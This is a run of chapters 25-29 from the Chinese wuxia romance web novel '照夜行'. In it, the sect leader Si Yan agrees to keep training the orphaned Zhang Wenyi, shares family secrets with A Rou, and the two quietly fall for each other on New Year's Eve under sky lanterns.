“人的欲求往往是没有上限的,今日你捡了二两银子,明日就想捡二两黄金。”司言说道,“对于有的人来说,即便下一秒就会刀箭穿心,也要享受这一秒的荣华富贵。只能说,人各有命,道不同不相为谋。他们不如你这般豁达,你又何必为他们操心?” 阿柔想了想,觉得很有道理,“你说的有理,我何苦 25. 枷锁 《照夜行》全本免费阅读 微凉细雪,庭院之中,少年高束长发,手握长剑,翻飞挥舞。足底飒飒生风,剑气破风涌动。 院中少年正是张闻亦。当初岐州惊变,张知州蒙冤身死时还是初秋,如今已然步入深冬。十六七岁的少年,个子长得本来就快,再加上过去几个月里经历了至亲分离的骨肉之痛,又亲眼目睹了风云诡谲的京城斗争,造就了他现在更加沉稳成熟的性格。 一套剑术施展完毕,张闻亦在原地站定,抬眼看到司言正从廊下往这里走来,收起长剑,颔首恭敬道:“门主。” 司言毫不掩饰地夸赞道:“我记得几个月前第一次见你的时候,你没有半点武功根基。一开始教你武功,只是怕你以后万一再遇变故时没有手段用以自保。不想你如此刻苦勤勉,进步之快,在我的意料之外。” 乍一被夸奖,张闻亦不好意思地红了红脸,这才和几个月前青涩懵懂的那个模样有些重合了,“多谢门主。” 司言说道:“我今天同张夫人商量过了,过几日会派人送你们回江北。孙家是你母亲的娘家,在江北颇有名望,定能护你们周全,也不必担忧旁人的闲言碎语……” 司言说着说着,却发现张闻亦耷拉着脑袋默不作声,问道:“怎么了?你不想去江北?” 张闻亦点了点头。 司言也不气恼,只是耐心地问道:“为什么呢?” “我,我……”张闻亦支吾了半天,终于下定决心地说道,“我想留在这里,请门主继续教我。” 司言愣了一下,细细斟酌片刻,然后说道:“虽然你年龄还小,但我不想骗你。论武艺,我在这偌大的江湖中算不上一流高手。论资历,我又比你长不了多少。故渊门如今能在江湖上拥有一席之地,靠的并不只是武功。若你真心实意地想学武,我可以写一封推荐信,荐你去南边的山月派。” “门主,您知道的,我入门太晚,早已错过了学武的最佳时候。纵使我再努力,往后恐怕也难在武学上登峰造极了。”张闻亦说,“我想要跟门主您学的,不止武学。” 司言立刻就知道他在想什么了,“祁照一案已经尘埃落定,我让人送你们回江北,就是为了让你放下往事,重新开始,你为何一定要跟着我牵扯进朝局中来呢?” 张闻亦看向司言,神情竟是前所未有的坚定,“我这一路从岐州逃到京城,又做了指控祁照的证人,纵使从前再不闻世事、单纯无知,现在也大抵了解到,祁照之所以在西南一带如此为非作歹,全是因为背后有怀王这座靠山。他杀我爹灭口,多半也有怀王的手笔在其中。我怎么能眼睁睁地看着这种只顾私欲,放纵下属的人仍然安坐高位?” 司言面上没有什么波澜,“所以你想加入故渊门,跟着我一起效力于承王,好为你爹报仇,是吗?” 张闻亦听他这么直白地说出了自己的想法,有些赧然地垂下了头,最终承认道:“是。” 司言默然片刻,突然问道:“若是你爹没有出事,你往后想做什么?” 张闻亦有些奇怪,但还是回答:“也许和我爹一样,科举入仕吧。” “你有没有想过,等你回到江北孙家,自会有人安排你读书科考,一切都和原来一样。” 张闻亦摇了摇头,“事情既已发生,我又怎能当作从未发生过?若不能彻底还我爹,还那些无端枉死的贤能之士一个公道,往后余生,我都会心有不甘。” 司言轻轻叹了一口气,“你爹一定不想让你带着仇恨活下去。” 张闻亦说道:“我不是带着仇恨活下去,只是时至今日,终于找到了此生要为之奋斗的目标。” 司言心中思绪万千,知道自己一时是劝不动他了,“你可确信要留在我这里?” 张闻亦见他松口,连忙躬身行礼道:“闻亦心意已决,求门主收留我吧。” “你别急,先听我说。”司言伸手扶起他,“我可以留你在京城,也可以传你武艺,授你本领。但你还小,还有很长时间可以思考未来究竟想要做什么,而不是因为一时的痛苦与愤怒,轻易地就踏上一条不能回头的路。” “门主,我……” “我知道你心志坚定,也相信你的决心。只是……”司言打断他,郑重地说道,“你的人生才刚开始呢。” 张闻亦呆愣在原地,久久没有应声。 “除此之外,我不能再应承你些什么。”司言接着说道,“若你不能接受,便跟着你娘回江北去吧。” “我能接受!”张闻亦忙道,“只要您愿意让我留下,怎么都可以!” 眼前少年面容稚嫩,却拥有着超越无数同龄人的主见与心智。司言不忍再说什么拒绝的话,最终还是应允了他的请求。 …… “所以,你最后收他为徒了?”连廊檐下,阿柔问道。 “我虽授他本领,却也自知还不够格为人师表,所以收徒还谈不上。”司言说道。 “没想到,你竟然还有如此不自信的时候。”阿柔有些意外。 “和自信与否无关,只是对有把握的事不予怀疑,对没把握的事从不妄言罢了。”司言微微垂下眼睫,“而且,若是成了别人的师父,总是要负起责任来的。我……尚且不能顾全自己,又何谈对他人负责呢?” “那你今日特意约我出来,可有什么要紧事吗?” “要紧倒谈不上,只是我知道你心中记挂张氏亲眷,先前碍于他们被安置在承王那里,不便经常看望,便想着尽早将他们的消息告知于你,好让你安心。”司言说道。 阿柔微微一愣,“谢,谢谢。” 司言起了兴致,像是看到了什么新鲜的事务,“你这是不好意思了?” “谁不好意思了?”阿柔表示抗议。 “那就没有吧。”司言声音极轻地笑了一下,“张家母女应该要等到年后才会动身离京,若你和二公子愿意的话,不妨接张家人去你们那里住一段时日?我想着他们待在戚家,总比待在我这里要自在得多,兴许还能热热闹闹地过个年。” 景西王府与张家交情匪浅,又有血脉亲缘。如今风波已定,张家母女不日又要离京,阿柔自是想要找个机会同他们好好说说话。再加上二哥一直以来也很记挂张氏亲眷,将他们接回王府住,也好让二哥放心。 只是听到最后一句话的时候,阿柔却若有所思,“对哦,要过年了啊。” 不知不觉间,距离西境事变,已经过去八年。自那以后,她好像很少再有对于新年的美好记忆,因为一家人团聚在一起过年的时候实在是少之又少。 今年过年,父兄也远在西北,重聚的愿望再一次落空。不过对于这样的结果,阿柔虽然心中空落落的,却并不意外。她定定地看向司言,突然开口问道:“那你呢?” 司言不解,“嗯?” “你也是第一次在京城过年吧,你……打算怎么过呢?” “过年……”这对司言来说,也是一个很陌生的词汇,一时间竟然不知道该如何回答。 阿柔回到京城之后,翻阅典籍,询问亲友,再结合自己原有的一些回忆,以及从岐州到京城这一路上与司言的对话,知道他大约是出生时就没了父母,被故渊门前任门主司玄收养。再后来先掌门去世,司言上位,用了七年的时间,让本就飞速发展的故渊门更上一层楼,成为江湖中人人敬畏的存在。 司言如此年轻,却已有如此功绩,想必故渊门上下对他也是心悦诚服。但阿柔仍旧记得,大军驻扎在黑云山脚的那个夜晚,司言曾经对着月光,波澜不惊地说了一句话:“阿柔说,有亲人的地方才算是家。可如果这样的话,我就没有家了。” 他在故渊门生活了二十多年,却从未有一刻拥有过归属感。 这是为什么呢? 虽然不知道司言为什么非要搅入到党争的浑水里来,但这真的是他自己愿意的吗? 想到这里,阿柔问道:“要不要……一起过年?” 司言蓦地睁大了眼,“一起……过年?” 阿柔觉得耳根有点发烫,“对啊,一起过年,就去我们家。和我二哥、张夫人,还有表弟表妹他们一起过年。” 有那么一刻,司言其实真的想马上答应她的邀约,可在冷静思考之后,却还是说道:“新年是亲人团聚的日子,我一个外人过去,恐怕不合规矩。” “我若是个守规矩的人,只怕也不会遇到你吧。”阿柔觉得有些好笑。 “这倒是。”司言认同。 “司言,你若真心把我当朋友,就少说客套话。”阿柔说道,“我不在乎那些无所谓的规矩。大家都说新年是阖家团圆的节日,应当和亲人聚在一起,只是这么多年,我也没吃过几顿团圆饭。要是大逆不道地说,是天家下旨让我不要守这个规矩的,我也只是顺势而为。” 司言张了张嘴,正欲说些什么,阿柔却偏过头去,不去看他的目光,“坦白而 26. 阿娘 《照夜行》全本免费阅读 阿柔听了司言所说的真相,只觉得没来由地难过,却不是为自己,而是为他。 她向来是个自由惯了的人,无法想象被他人规划好一切的感觉。可转念一想,其实在这世上,像司言这样身不由己的人才是大多数,不是所有人都能像阿柔一样幸运的。 “这没什么,阿柔。”司言轻声说道,“虽然这条路是师父替我选的,但身为人子,为父母鸣冤,也是我毕生所求,这一点从未有疑。” “也许在以前,你只有参与党争这一条路可以走,但现在不一样了,你还有我这个朋友啊。”阿柔恳切地劝说道,“你寻人替我二哥治病,又送来了那么多珍惜药材,二哥他也一直惦记着要找个机会好好向你道谢呢。我们想想办法,总能帮你洗刷冤屈……” 司言却摇了摇头,“阿柔,我还记得那日邀你于清韵阁相见之时,你对我说了一句话。” 阿柔迟疑道:“哪句?” “你我二人的交情只限于彼此而已,与利益无关,与党争无关。”司言说道,“我与你相交,是出于真心的,从来没有想过借戚家的势去做什么。再者,当今圣上即位以来,国力越发强盛,深受百姓爱戴。一下子推翻这么多旧案,有损于天威。戚家独立于朝堂纷争,清清白白这么多年,万不可因为这些事而驳了圣上的颜面。” 阿柔不认同地道:“我那天说这些话,是为了跟你真心实意地交朋友,不代表朋友之间就不需要相互帮扶。戚家是讨厌朝廷纷争,可若是为了明哲保身,就对他人的苦难不闻不问,也绝非君子作为。” “可我并没有把这件事告诉戚家,仅仅只有你知道而已。戚家既不知我的遭遇,自然也无法过问。”司言淡然地道。 “司言……” “所以,不要把这件事告诉别人,哪怕是戚少卿也不行,好吗?”司言凝视着她,认真地问。 司言愿意把这些秘密告知于她,就是因为信任她不会散播出去。景西王府虽权势浩大,可若是得不到父兄的助力,单凭阿柔一个人,要帮司言推翻这么多桩旧案,绝对是痴人说梦。 他向阿柔提出这番请求,不只是为了让她保密,更是为了让她不要掺和进这件事来。 见阿柔半晌不答,司言轻轻地叹了一口气,无奈地笑了一下,说道:“从出生起,我师父就告诫我,不要忘记我是谁,不要忘记我未来要做的事情。我已经在这条路上走了二十多年了,若是就此止步,那……我这二十多年,到底活了些什么呢?” 阿柔眼睫轻颤,心中愈发酸涩。 司言继续说道:“不过,虽然我自小就被要求承担各种各样的责任,但我从未想过要完全按照他人的意志而活,也绝不会成为一个只会执行师父遗命的傀儡,我有自己想要做成的事,并且发誓不会去伤害任何人。所以,也请阿柔……成全我。” “好,我答应你,不会寻二哥帮忙,更不会将今日之事说与旁人听。”阿柔终是应道,“但至少,可以告诉我你的父母是谁吗?他们蒙冤而死,不该无人惦记。” 司言拿出一早就备好的说辞,面不改色地说道:“前连远道节度使萧锐清及夫人薛婉晴。” 萧锐清? 阿柔默默记下了这个名字,决定回头私下里再好好查查这桩旧案,“你方才说,故渊门中有七十一人都为罪臣之后,那叶温遥也是?” “他是个例外。”见阿柔露出疑惑的神情,司言继续解释道,“他尚在襁褓时,就遭遇亲生父母抛弃,是被师父捡回去的第一个徒弟。” “所以你师父才会这么信任他,即使他并非当事人,也决意让他加入此事。” 司言闻言却苦笑了一声,“不仅仅是因为信任。” “嗯?” “其实我小时候是个不服管教、油盐不进的人,总想着偷奸耍滑、偷懒度日。小孩子最怕孤单,但事实上,因为师父太过严厉,整个故渊门只有叶温遥敢带我偷偷溜出去玩。我们两个每次都一起挨罚,嘴上说着知错,其实从来没有悔改。”司言说到这里笑了一下,“那个时候,我虽然已经身负使命,他却还是个无忧无虑的少年。直到那天,我们两个人偷偷喝酒,比试酒量。我错估酒量,率先醉倒,师父找到我们的时候,我已经在无意识的情况下,把有关父母旧案,以及师父的计划尽数泄露。” 阿柔微微睁大了双眼,“所以你师父才……” “师父把我们在禁闭室关了三天三夜,而后逼着叶温遥对师门先祖立下血誓,让他全力襄助我要做的事情,万一有一天师父身死,他便要唯我是从。”司言顿了顿,说道,“在那以前,师兄曾对我说,他想要做个游侠,行走四方、匡扶正义。” 原来是这样…… 一瞬间,阿柔其实很想愤愤不平地出言指责这位师父。可一来先人已逝,背地里说坏话难免不敬。二来,这毕竟是别家师门自己的事情,她一个外人,并无指责的资格,只能在心中默默感到不平。 “虽然有些大逆不道,但师父去世那年,我还是没有遵从他的这条遗命,只愿放师兄去做他自己想做的事。”司言说道,“可不论我怎么说,师兄都不愿意扔下我一个人走。我拗不过他,只能给他一个随时反悔的机会。” 阿柔伸出手蹭了蹭他的小臂,似是在小心翼翼地安慰着他,“阿言对他来说,也是很重要的人呢。” 司言一愣,不动声色地用余光看了一眼她手上的动作,若无其事地接道:“是啊,若说在这世上,还能被我称之为家人的,大抵也只有师兄一人了。” 阿柔听闻此言,下意识地张了张嘴,想要反驳些什么。可是在理智回笼之后,却又硬生生地把那句差点脱口而出的话咽了回去。 那句话是——“我也可以是家人。” 阿柔不明白自己为什么会有一瞬间的冲动说出这种肉麻且尴尬的话来,耳根发烫,面上也泛着不正常的红,心中慌乱异常,只能一遍又一遍地默念着剑诀,来摒除杂念。 “什么?”司言见她好像有什么话想说,疑惑地道。 “没什么。”阿柔转移话题,“你说你的处境没有我想的那么糟,就是因为身边还有叶兄这样的可信之人吧。 “是啊。”司言说道,“他跟我一样,初入京城,人生地不熟的,我总不能抛下他不管,自己出去过年吧。” 话已经说到这个份儿上,若阿柔仍然强行邀请,反倒会弄得双方一齐尴尬。 关于身世的话题终于在瑟瑟寒风中结束了。司言望着不远处,正独自练着武学基本功的张闻亦,突然想起了什么,“对了,我想着,他既要学武,总该有一件趁手的武器才是。” 阿柔点了点头,“确是如此。不过他根基未稳,武器一事也不必操之过急。” “武学一门,对于武器的选择,讲究极深。不仅要考虑到武器本身的品质,更要考虑到武器与使用者本身的契合程度。否则,便是再优质的武器,若是落在了不适配的人手上,就算是暴殄天物了。”他将目光落在阿柔腰间佩戴的银色短刀上,“阿柔的武器,虽然小巧,却与你十分相称。” 阿柔知道他广闻多识,却不知道他对什么最感兴趣。回想起刚才司言自述的经历,往日能留给他与人闲聊叙话的日子应当并不多。念及此处,阿柔将腰间佩刀放置于石桌之上,一副洗耳恭听的样子,由着他顺着一个话题侃侃而道,“怎么说?” 司言对于她的搭腔十分满意,嘴角不自觉地上扬,语气也更轻快了几分,“阿柔身为女子,体型和力气自是不如那些浑身肌肉的壮汉,与人对拼,难免会因此而吃亏。但阿柔胜就胜在身法灵活、干净利落。再者,你生性不受拘束,使的招式也非正宗的云影派刀法,而是综合了许多别家精妙,这应当是你常年来云游四方、见识广远所致。因而,你比旁人更加懂得如何灵活地运用所学招式,也更加懂得如何出奇制胜。这把短刀,对于旁人来讲,也许太过小巧,很难发挥威力。但对于阿柔来说,确实是再合适不过的了。” “没错,你所说的这些,都是当年师父赠刀与我的时候所说的。那时,派内好多长老都很嫌弃我的招式。”阿柔模仿起来昔日长老刻板的腔调,“哼,年轻人,胃口比天还大,连自家的武学精华都未曾参透,便想着融合他家,真是轻狂。” 司言被她的语气逗笑了,说道:“阿柔模仿起别人来,倒真是别有一番趣味。” “其实时至今日,我一直都知道,长老说的话确有道理,也承认当年习武时,总是爱耍小聪明。”阿柔说道,“但我习武并非是为了极致的强,对我而言,有时候只要能赢,胜之不武也未尝不可。” “这倒有点行兵打仗的意思了,有道是‘兵者,诡道也①’。很多时候,在战场上,并非是武力最强的那一方获胜。但无论怎样,只有赢得胜利,才能获得主动 27. 新年 《照夜行》全本免费阅读 景西王府。 “你这几日怎么总往那司言公子的住处去?”戚思彦靠坐在榻上,身上裹着毯子,吹着手中的汤药,状似无意地道。 阿柔回答:“没有总去吧?也就去了那么……两三次?” 戚思彦静静地看了她一眼。 “四五次?”阿柔莫名心虚。 戚思彦还是不作声。 “七……七八次?”阿柔声音更小了些。 戚思彦终于忍不住轻笑了一声,“好啦,我只是好奇,平常你与他在一起的时候会说些什么?” 阿柔掰着手指头老老实实回答道:“江湖秘闻,京中八卦,话本闲谈……” 戚思彦看向她,打趣道:“范围还挺广,什么时候邀请他来我们府上坐坐呀?” “二哥想见他?” 戚思彦点了点头,“一来是为了亲自感谢他寻医之恩,二来,我对他确实有几分好奇。通过你这几天的描述,我能感受到,此人确有真才实学,又能通晓政事。他便是想要荣华富贵、高官厚禄,也有很多路可以走,只有那些科举屡试不中,入朝无望的人才会甘于隐藏幕后。他如此年轻,若为了前程,何不走科举之路?而且……” “而且什么?” “他帮过我,我本不应妄自揣测。”戚思彦说道,“可他既有才学,有名声,有傲气,为何入京之后,除了承王之外,就只和你来往?” 阿柔含糊地说:“许是因为,他初来乍到,只有我这一个朋友吧。” 戚思彦不认同地摇了摇头,“司言既然如此通晓朝中之事,必定在京官中有相熟之人。他若不甘隐于幕后,只做一个幕僚,就一定要早做打算,通过他现有的人脉,广结良友,打点关系,为前程铺路。这个中关系,像他这么聪明的人,不可能想不到。可你三天两头地往他那里跑,也没见他有多忙,不是吗?” 这种种蹊跷,阿柔也曾考虑过。只是如今,她已知晓司言效忠于承王的本意,与谋取前程一事毫不相干,自然也就打消了部分疑虑。但她与司言约好,不会把他们所谈内容告知于他人,就连二哥也不行。阿柔便只能尽力装作一副疑惑的样子,默不作声地听二哥说话。 “人都是有秘密的,他想隐瞒,无可厚非。只是你也知道,近两年朝中局势越发混乱,陛下的身体也一日不如一日。我只怕有人在这个当口作乱,惹出什么是非来。”戚思彦抬眼看向阿柔,“更别说,他还与你走这么近。若非为了与王府结交,便是因为……” “因为?” “图你的人。” “噗。”阿柔差点被呛到,“二,二哥,你在说什么啊?” “那该怎么解释,他向旁人隐瞒住处,却偏把地方告诉你这件事?”戚思彦一本正经地分析着,“果然还是要亲自见他一见啊……” 阿柔摆了摆手,“我早就邀请过他来王府上小坐,被他话里话外地拒绝了。” 戚思彦沉吟片刻,说道:“他不让别人知晓栖身之所,也从不去拜会任何人,就好像是在有意地避开与京城官员的接触。” 阿柔心中一惊,拧了拧眉。 按照司言的说法,他来京城是为了替父母鸣冤。就算不去刻意拜会别人,也没有必要掩藏踪迹,甚至连住的地方都挂的是他人的名字。但凡对京中朝局了解一二之人,没有不知故渊门门主已效力于承王的,还有什么可掩人耳目的呢? 这所有疑点串联起来,听上去就像是……司言根本就不打算让京城朝局中人知晓故渊门门主真正的模样。 阿柔带着困惑与不安,满怀心事地回到了自己的房间。 她并不愿意相信那天听到的真相都是假的,但事实却是,这番说辞依旧无法解释很多问题—— 为何故渊门连皇宫之中都能安插进可信之人? 为何司言选择效忠于承王? 为何他不愿意让别人知道他真实的模样? 那日交心之谈,司言流露出的种种情绪不似作假。再者,阿柔并未死缠烂打地追问过事实真相,他完全没必要撒一个弥天大谎来搪塞。因而,阿柔更倾向于他所言大半为实,只是在某些方面有所隐瞒。 而他不愿意告知于旁人的那一小部分,或许才是掩于心底的最大秘密。 事实上,阿柔心中困惑的,还远不止这些。 她与司言相识不过数月,却已胜过旁人相处许多年的情谊。在此之前,阿柔很少与人这样交心交底过,更不会在头脑发热之下发出一起过年的邀请。 阿柔想弄清楚司言身上的谜团,也想弄清楚,为什么与他相见时,心头总会翻涌起奇异的情绪,其中夹杂着说不清道不明的欢愉与赧然。 为什么在听到司言过去二十多年的经历时,她会那样难过。真的只是因为感怀他人遭遇而共情吗? …… 枝头落雪,暗香浮动,新年已至,王府上下张灯结彩。 “哥哥,你画的这是什么呀,好丑!” 张闻亦涨红了脸,辩解道:“爹爹又没教过我画画,我怎么会!” 张采儿撇了撇嘴,“那你刚刚还吹牛!” “我哪有!” “明明就有!” 就在双方争执不下之际,阿柔正巧从边上路过。 张采儿眼尖,挥了挥手道:“阿柔姐姐!” 阿柔闻声而至,见桌上摆着宣纸笔墨,还有一些木条,问道:“你们在做什么?” “做灯笼!”张采儿瞥了哥哥一眼,“可是哥哥画得太丑啦,根本就不能看嘛。” “难道你画得就很好看嘛?”张闻亦梗着脖子道。 眼见着两个人又要斗起嘴来,阿柔顿时觉得有些头大,“好啦,好啦,不就是个灯笼嘛,我帮你们画便是。” 张采儿眼前一亮,“阿柔姐姐竟然还会画画吗,好厉害!” 阿柔有些心虚地用食指挠了挠脸颊,“略懂,略懂。” 就这样,阿柔在两个孩子兴奋且惊喜的注视之下,豪迈提笔,一挥而就。 “呃……”张闻亦盯着画作,沉默半晌,迟疑地道,“阿柔姐,画的可是年兽?” 阿柔摇了摇头,一本正经地说:“这是梅树啊,画得不像么?” 张闻亦:“……” 张采儿:“……” “栩栩如生,妙不可言。” “笔法幽默,极有个性。” 阿柔扔下一句“喜欢就好”,随即转身离去,留兄妹两个在原地面面相觑。 “突然觉得,哥哥你画得其实还挺好看的。” “是吧,我也觉得。” “……” 阿柔隐约听到这段对话,没忍住笑了一下,却迎面撞上了人。 二哥双手环抱,打量着阿柔,疑惑地道:“怎么了?笑成这样。” “没什么。”阿柔揉了揉脑袋,“不过是解决了一桩兄妹之间的矛盾罢了。” “你若闲来无事,就去帮表姨包饺子,别逗小孩子。”二哥望了一眼不远处的张家兄妹,嘱咐道。 “哦——”阿柔应声,朝着厨房的方向去了。 身后,小孩子的笑闹声还久久不消。阿柔嘴角微微上扬,自言自语道:“很久都没有这么热闹啦。” 因逢新年,各家各户都关起房门来庆祝,很少有人在这一天流连于酒榭茶楼之间,商户皆闭门谢客,清韵阁也不例外。因而,整个茶楼空荡荡的,只有二楼雅间里面坐了几个人。 “我还记得小时候,每逢新年,兄弟姐妹们总是聚在一起吃年夜饭,别提多热闹了。”叶温遥轻叹一声,“如今,却是越发冷清了。” 司言看向窗外的红梅白雪,默然无声。 宋岳之端上一盏茶,坐于席间。 叶温遥嫌弃地说道:“谁要喝这玩意儿?酒呢?” 宋岳之淡然地回道:“我这里是茶楼,你要喝酒,上别处喝去。” 叶温遥轻哼一声,“你还真把自己当成开茶楼的啦?小宋啊,许久未见,你可别不认你大师兄了。” “就没认过。” 眼见着叶温遥就要愤然起身,司言一把拽住他,调侃道:“行啦师兄,多大的人了,为老不尊的。” 叶温遥满脸不爽地道:“阿言,连你也这样!真是白疼你了。” 司言喝了一口茶,问道:“夜兰那边有消息么?” “还真是过年也不忘处理事务啊。”叶温遥低声吐槽了一句,但仍旧回答,“前几日,夜兰传来消息说,自匪患平定之后,西南一带重归安稳,先前因匪徒骚扰而滞涩的各项政策重新步入正轨,老百姓们也能安生过日子了。先前为了拿到资金支持,我们故渊门给商贾李骁提供了不少商业情报,他手下的鸿运商行竟比当初我们在来阳时的规模还要庞大了几倍不止。如今,这整个西南地区的商业局势,可尽在这位李老爷的掌握之中了。” “此人确乃行商奇才,纵然有故渊门的一手情报加持,能做到这个份上,也实属不易了。”司言说道。 “不过我听夜兰说,那李老爷似乎有意北上发展,几次三番地向人打探与京城有关的情报。”叶温遥又道。 “这也很正常。毕竟,人的欲望永远没有上限,但凡得到一点好处,就会想要更多。长祈繁华,无怪乎他想来捞一笔。”司言毫不意外地说道。 “那你怎么想?真要把京城这边的情报告诉他吗?”叶温遥问。 “京城水深,各方势力盘结交错。还是让他不要为了这点蝇头小利,把自己置于如此暗流涌动之地,到时被人吞得连骨头都不剩。”司言淡淡地说 28. 试探 《照夜行》全本免费阅读 夜色渐至,酒过三巡。虽说宋岳之一开始只准备了些茶水用以招待师兄师弟,但到底还是拗不过叶温遥百般央求,把楼里珍藏的几坛子名酒与了他,让他喝了个痛快。不多时,叶温遥便醉倒在雅间里,发了好一阵酒疯才睡了过去。 “让他不要喝酒,非得喝,这下好了,还得咱们两个把他弄回去。”宋岳之嫌弃地踢了踢叶温遥的腿。 “宋师兄。”司言突然出声叫他。 宋岳之转过身来,见他神情少有的凝重,不觉有些奇怪,“怎么了?” 司言认真地说道:“阿言有一事……想要拜托师兄。” “有什么事,刚刚不能说……”宋岳之意识到了什么,话语戛然而止,指了指醉倒在一旁的叶温遥,“不能让他知道?” 司言点了点头,“此事若是被叶师兄知晓,他定要极力阻拦我。但我眼下要做的事,若是一个人去做,到底是有心无力。” 宋岳之心中微漾,总觉得有些不好的预感,“你先说是什么事,我才能决定要不要帮你。” …… 同宋岳之安排好一切事项之后,司言好不容易将叶温遥抗回宅院,安置在床上,正欲离开,却听到叶温遥迷迷糊糊地叫着他的名字,“阿言……” “怎么了,师兄?”司言低声问。 “不管……你……做什么……师兄都……相信你……” 醉酒的人说起话来很不清楚,司言好不容易才辨认出他在说什么。 “我知道。”司言说,“师兄也请放心,总有一天,我要还你们自由。” 司言回到空空荡荡的庭院里。院内没有大红灯笼,也没有对联窗花,就好像今天不是除夕,只是个平常的日子,和以往的每一天都没有任何区别。 然而,就在此时,他却感到远处的天空传来亮光。 司言抬头望去,只见漆黑的夜幕之中,升起了无数天灯,照得黑夜也如白昼一般璀璨耀眼。天灯的暖光投射下来,映在司言的脸庞。他眼眸微颤,心中震动,望着满天灯海,不觉间就想起了那日阿柔曾问他的那句:“要不要……一起过年?” 许是因为恰逢良辰美景,灯花灿烂悉入眼中,司言一时间忘记自己身处何处,更不知自己为何而来,只是有一种强烈的冲动,想要赴一场未曾应承的邀请。 另一边,景西王府。 张家兄妹缠着戚思彦帮他们挂刚做好的灯笼,张夫人则早早地回了房间休息。 阿柔回到院内,却并不想要急着进屋,心念一转,轻车熟路地上了屋顶,静坐于此,遥望远方天际,天灯如海,照彻长祈。 阿柔撑着脸颊,感受着北风夹杂着细雪,拂过面庞,带来丝丝凉意。许是因为漫天灯海的景象太过于震撼,反而衬得阿柔心头有些空荡荡的。 美景虽好,可倘若无人共赏,到底还是有些可惜。 阿柔自认为向来不是一个喜欢触景生情的人,但暗藏于心中的那股说不清道不明的情绪,却如泉水一般涌动而出,再也无法抑制。 阿柔想,她来到这里,也许不是为了看风景,而是为了等一人来。 许是神灵也听到了她的心声,正在出神之际,身旁竟真的坐了一个人。 阿柔微微睁大了眼,滞缓地转过身。待看清来人的面容之后,她反而安下心来,原本那股寂寥的感觉也散去几分。阿柔很自然地揶揄道:“堂堂故渊门门主,竟然深更半夜来翻朝廷命官家中屋顶。” 司言说道:“我以为你会问我,为什么会来。” 阿柔配合万分,“唔……好吧,那就问问你,你怎么来了?” 司言笑了一下,“也许并没有什么缘由呢?只是兴之所至罢了。” “啊,果然。”阿柔直接躺在了屋顶上,整个人都松弛了下来,“司门主的心思多深啊,怎么会让我知道你在想什么呢?” “其实……”司言顿了顿,低声道,“我的心思,也没有那么难猜。我之所求,也远没有旁人想象的那么多。” “果真如此吗?”阿柔望着辽阔天穹之中点缀着的灯火,心念一转,说道,“可我却好像没有那么了解你,也从来不知道,你可有什么喜欢的……” 司言心头一颤,沙哑着嗓子,“什么?” “可有什么喜欢之物?”阿柔问道。 司言强行按下心中那股异样的躁动,挂上了一张熟悉的、惯会调笑的面孔,“阿柔问我这个,莫不是想送我些什么东西?” 谁知阿柔竟然大大方方地承认了,“是啊。” “嗯?”司言有些出乎意料地道,“为什么?” 阿柔狡黠地笑了一下,“也许并没有什么缘由,只是兴之所至而已呢?” 司言不禁失笑道:“阿柔真是……越发喜欢学人了。” “此言差矣,我也不是谁都喜欢模仿的。”阿柔微微侧过脸庞,“况且……纵然嘴上说着没有什么缘由,但……总归还是有一些的吧,只是不愿说出口罢了。” 司言知道这话是在说他不够坦诚。 “不是不愿……”司言极轻地说了一句。 “什么?”阿柔没有听清。 “没什么。”司言笑着摇了摇头。 不是不愿说,而是不敢说。 他不敢告诉阿柔,方才看到漫天灯火的盛景时,几乎不可抑制地想起了她。他迫切地想知道阿柔此时此刻正在做什么,是否也与他同赏着灯火万象,是否……也在念着他。 但司言心知这最后一条几乎是不可能的——明明先前是他自己拒绝了阿柔的邀请,却又抵不住情绪的鼓动,想要任性地听凭一次内心的指引。 司言不敢说,他奔赴至此,只是为了见阿柔一面。但也正因如此,司言终于无法再逃避内心的思潮涌动。他必须得承认,阿柔在他心中,是与所有人都不一样的,以至于只是见了一面便心生欢喜。 小时候,师父对他管教很严,从不许他与旁人玩闹。门中弟子大多畏惧师命威严,自觉地同他疏远了。唯有叶温遥是个例外,总是带他偷偷溜出去玩,去乐坊听小曲儿,去茶楼听说书……那些民间广为流传的话本,司言也偷看过许多,只是当时年龄小,对话本中才子佳人的缠绵情意到底有些不理解,也不相信真的会有谁为了一个没有亲缘纠葛的人而付出光阴与生命。 然而此时,司言的脑海中却突然冒出了一个想法:倘若时间就定格在这一刻,不再流转,直至永恒——没有算计、没有倾轧、天地间仿佛就只剩下了他们两个——这一生,便也算是圆满了。 原来“情”之一字,来得竟是如此突然,以至于没有任何征兆,就将人砸得晕头转向。 司言不敢宣之于口的,还有一句“心悦于你”。 “阿言?”阿柔出声叫道。 司言这才回过神来,从刚才奢望着永恒的幻境之中重归于现实。他慌乱地回应道:“嗯?” “你在想什么,这么入神。”阿柔嘟囔道。 “没什么。”司言怕阿柔又觉得他遮遮掩掩,便多说了几句,“你刚才问我,可有喜欢之物。我细想了想,平生所学本领,大多非是出于自愿,但倘或真有什么喜欢的事物,大概是作画吧。” “竟是这个?”阿柔想到自己今日用以糊弄张家兄妹而作的那幅画,不觉有些心虚。 “阿柔可是不信?那也无妨,你下次来我家,我给你画一幅就是了。” 阿柔说道:“可如此一来,不就又变成你送我东西了吗?” “这有什么?”司言毫不在意。 “那不行。”阿柔摇了摇头,“你上次送我一箱话本的情,我还没还呢。” “你怎么还记得这回事。”司言觉得有些好笑。 “这还不算什么,最主要的是,你帮我找到了那么多罕见药材和归隐名医给二哥治病,二哥的身体近来可好多了。单凭这一点,我欠你的情就已是还不完啦。” “举手之劳,不足挂齿。”司言说道,“况且,你第一次来我宅中的时候,不就已经回过礼了吗。” “你就当是我还那箱话本的情吧!” “那好吧。”司言只得无奈答应。 阿柔躺在屋顶上,看着司言的侧脸,总算松了一口气,心中暗暗道:笨蛋,只是想寻个理由送你些什么罢了。你怎么偏就……不明白呢。 两个人自是不知道对方心中暗藏着怎样的心思,只是周身被天灯的暖光所包裹着,心也跟着柔软起来。再后来,天地之间的人声喧闹渐渐散去,漫天灯火的盛景逐渐消失,他们之间的闲聊叙话也止息了。 司言 29. 独行 《照夜行》全本免费阅读 司言已经很久没有体会过如坐针毡的感觉了。此时此刻,雪夜之中,他坐在景西王府平日里用以待客的花厅内,看着石桌之上沸腾的茶炉,以及安坐于对面的俊雅男子,半晌不敢说一句话。 “我无意兴师问罪,客人不必如此拘谨。”戚思彦温言说道,“当日我卧病在床,幸得阁下寻医赠药,方才渐渐好转,只是一直未得机会登门拜访,向阁下道谢。今日天色虽晚,但我先前曾多次听家妹谈及你,心中好奇,故而想要挽留叙话,也借此亲口传达心中谢意,还望阁下勿怪。” 